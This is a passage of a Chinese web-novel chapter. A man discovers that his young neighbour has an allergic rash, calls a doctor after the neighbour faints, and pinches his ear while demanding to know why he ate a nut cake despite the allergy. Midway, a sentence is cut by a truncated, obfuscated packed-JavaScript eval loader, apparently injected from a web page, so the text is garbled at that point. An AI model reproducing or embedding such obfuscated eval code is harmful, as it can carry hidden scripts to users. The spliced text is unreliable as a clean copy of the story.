小孩伸向自己的那只手连带着胳膊一起一直在小幅度地颤抖,往下看去,双腿微屈肉眼可见地站不太直,再加上声音的明显变化,宸凛寒沉眸,靠近了些。 男人成熟好闻的气息逐渐袭来,言于薄心里一慌,抬脚向后慢慢退,“如果不需要的话,我就先下去……” “言于薄。”发现了什么,宸凛寒语气淡淡:“左手拿下来。” “那个......” “拿下来。” 对方的声音扬起了些,言于薄身体直接一抖,但那只按着脖子的手却并没有因为他的话放下,反而更加努力地遮挡,又过了一会,他的额头开始不自觉地冒汗。 他不想露出那片丑陋难看的肌肤,更不想违背对方的话,进退两难的选择,言于薄脑子飞速地旋转着,半分钟后,也没想出一个好办法,他干脆转了身,拔腿就往家里面钻,说出一个连自己都不信的拙劣借口:“您先走吧,我还有东西没带……” 话还没说完,就听到身后人离开的脚步声,言于薄一顿,停下步伐,转过了头。 “先生……”看对方面色凝重,不发一语地走回家门口,言于薄既心慌又不解,他小声地问:“您不扔垃圾了吗?” 也不知道是不是声音太小没听到,宸凛寒连头都不曾偏一下,放下手中的垃圾袋,就直接进了家中。 看着他渐渐消失在视线中的背影,言于薄心像是被什么东西硌了般有些不是滋味,他站在原地,茫然地望着那扇没有完全关上的门,一时半会不知道该不该追上去。 追上去说什么…… 还没有想清楚怎么解释,宸凛寒就拿着外套重新出了家门,再次步入了他的视线。 见小孩还盯着这边的方向愣在原地,一副无措的样子,宸凛寒瞥了他一眼,边披外套边淡声说:“自己过来还是我过去。” 言于薄一听,立刻抬脚走了过去,像是犯错了一样低着头,双手垂于两侧,笔直地站在他的面前,嘴里答:“我过来……” “手拿掉。” 犹犹豫豫纠结了很久,言于薄还是慢慢拿掉了遮住脖子上红斑的左手,吞了下口水,问:“先生是想看什么?” 大片密集的红疹触目惊心,从脖前一直往后蔓延,甚至有向背部延伸的趋势,微微俯身仔细看,小孩眼尾染上了淡淡的粉色,嘴唇泛白,脸色比在自己家中的时候还要差。 刺眼的点点红斑像是消不掉的烙印刻在雪白的皮肤上,宸凛寒盯着问:“怎么回事?” “哦,我......”言于薄向上拉了拉自己的衣领,试图用这种方式降低那些可怕红疹的存在感,“我没事......” 想到什么,他抬头问:“对了,您知道这附近有什么二十四小时营业的医院吗?我想再去买点药。” 宸凛寒没回,而是问:“以前有没有发生过这种情况?” 言于薄愣了愣,头都准备往下点了,反应过来后,又立即摇头结巴道:“没、没有,是第一次……” 再在这里待下去很可能会露馅,他转过身,心急地往反方向走去,语速加快道:“先生如果不需要我,我就先下去了......” “现在这个点只有市医院没有关门。”宸凛寒拉着那细瘦的胳膊,轻易将人拽回,低头看着小孩通红的眼睛,他伸手摸了摸他同样泛红的额头,确认没有发烧后,说:“这里离市中心不近,我送你过去。” 说完就带着他走向电梯,等电梯门打开,他冷静地拉着已经完全提不起来劲的言于薄进入,按下B1的按键。 手腕被一股让人安心的力量拉着,听到对方这么说,言于薄第一反应是高兴,第二反应是想拒绝,但自己还没来得及开口,头又开始昏胀起来。 眼前景象变得模糊,他张开嘴呓语了几声,随即再也稳不住脚跟,闭上眼睛,控制不住地往旁边倒去。 ...... “嗯......”感受到身边的动静,言于薄咕哝了一句,动了动睡酸麻的胳膊,以一种更为舒适的姿势往旁边躺去。 靠在某个坚实的物体上,不知道是什么的硬挺布料刮到了脸颊,让他有些难受,言于薄轻轻“哼”了一声,皱着眉头,不满地伸手扒了扒,胸腔起伏,小口地呼吸着。 本想送医院,没想到连下楼都没坚持到,小孩一晕过去嘴里就“先生先生”地喊,可怜得像是要被人丢弃的小狗,没有办法,为了方便,宸凛寒还是选择找了熟悉的上门医生。 看着已然将自己右肩外套脱下一半的言于薄,宸凛寒拉开他好动的手,按在一旁,揉了揉头穴,声音低沉:“安分点。” 没了依靠,言于薄再次皱眉,把手从对方温暖的手心抽出,在空中毫无章法地乱挥了两下,又一次扒了上去。 “......” 重复了三次还是一样的结果,宸凛寒盯着他的手心看了会,最后还是把小孩的身体扶正,在他腰后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“自己拿着看。”宸凛寒敛起视线,说:“看完了告诉我。” 明明都没有笑,甚至连表情的变化都微乎其微,但与白天请自己到家里做客时不同,言于薄觉得这个时候的先生像是变了一个人。 冰寒彻骨,让人不敢靠近。 但即使很紧张,事已至此,他还是屏气凝神,从上到下认认真真地浏览了一遍,越往下看藏在卫衣口袋里的手就攥得越紧,读完所有文字,他抬起头,眸光清亮而专注地说:“先生,我看完了。” “给我解释。” 像是一记重锤砸下,四个字震人心弦,不凶却威慑力十足。 言于薄颤了颤睫毛,嗓子涩得说不出话,憋了很久,才十分没底气地冒出一句:“我不明白您的意思。” 听后,宸凛寒侧脸看向他,再想起这小孩当时逼迫自己吃下蛋糕的痛苦模样,思来想去,还是忍不住抬起了手,捏住他耳垂那块软肉,说:“重复你的话。” 先生的指腹粗粝冰凉,可被碰到的地方却像是被火烧灼般开始向外发烫,言于薄舔了下干涩的嘴唇,脸庞因为近距离的接触而染上了红晕,他攥紧双手,强硬着头皮说:“我不明白您的意思。” 宸凛寒稍稍用了力,语气不变,冷漠依旧:“撒谎了吗?” “没有、没有撒谎......”耳朵被向上提拉,言于薄抬起手,想拉扯他的袖子。 “手放回去。” 反正只感觉到了力没感觉到痛,言于薄将悬停在空中的手缩回,低头看着白字黑纸的单子,他吸了口气,跳了话题:“您是找医生来家里了吗?其实不用这么……” “麻烦”两个字还没说出来,宸凛寒就又加了力,挑起眼皮:“不用什么?我不找人你是准备晕在电梯里?” “不是……”言于薄清楚地感觉到被极力克制的不悦情绪,对方在不断地加力,他就默默地承受,直到真正感觉到了痛意,受不住了才软着声音,低低求饶:“先生,耳、耳朵……” 他不由自主地伸手想抵挡,但一想起刚刚的警告,又收了回去,最后只好抓着自己的裤边,尝试将疼痛转移:“唔……” “言于薄。”终究不是自家小孩,不可能真的因为这种事实行什么惩戒,顶多仗着个长者的身份告诉他这样是错误的行为,多说无益,宸凛寒现在只想弄清楚具体的原因。 知道他被拧疼了,揉搓了两下那红得像苹果一样的耳垂,宸凛寒松开了手,语气却更加淡漠:“明知道自己对坚果过敏。” “为什么还要吃我的蛋糕?”